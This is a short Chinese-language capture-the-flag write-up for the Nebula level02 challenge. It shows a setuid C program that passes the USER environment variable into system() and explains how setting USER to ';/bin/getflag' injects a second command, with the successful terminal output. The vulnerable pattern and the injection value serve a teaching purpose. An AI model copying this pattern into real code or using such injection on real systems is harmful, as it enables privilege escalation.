这关的程序存在一个可以执行任意程序的漏洞,题目提供了完整的源码:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
和第一关思路一样,我们先找到执行系统命令的函数——函数体的最后句system
,并且可看到system执行的字符串来源于变量,那么就应该回溯分析buffer变量是怎么生成的。
可看到buffer变量是经过asprintf拼接而成,而asprintf的第二个参数调用了getenv
函数去获得环境变量USER的值(USER里是当前登录的用户名)。有了第一关经验,我们就知道环境变量是依赖于外部控制,默认下,asprintf组合的最终结果是/bin/echo level02 is cool
。
由于环境变量USER是可以控制的,所以可以把USER变量替换掉。USER变量如果被改成;/bin/getflag,等于是在执行完echo语句后,紧接着就执行/bin/getflag了(执行多条命令用“;”隔开):
level02@nebula:/home/flag02$ USER=";/bin/getflag"
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ;/bin/getflag is cool")
You have successfully executed getflag on a target account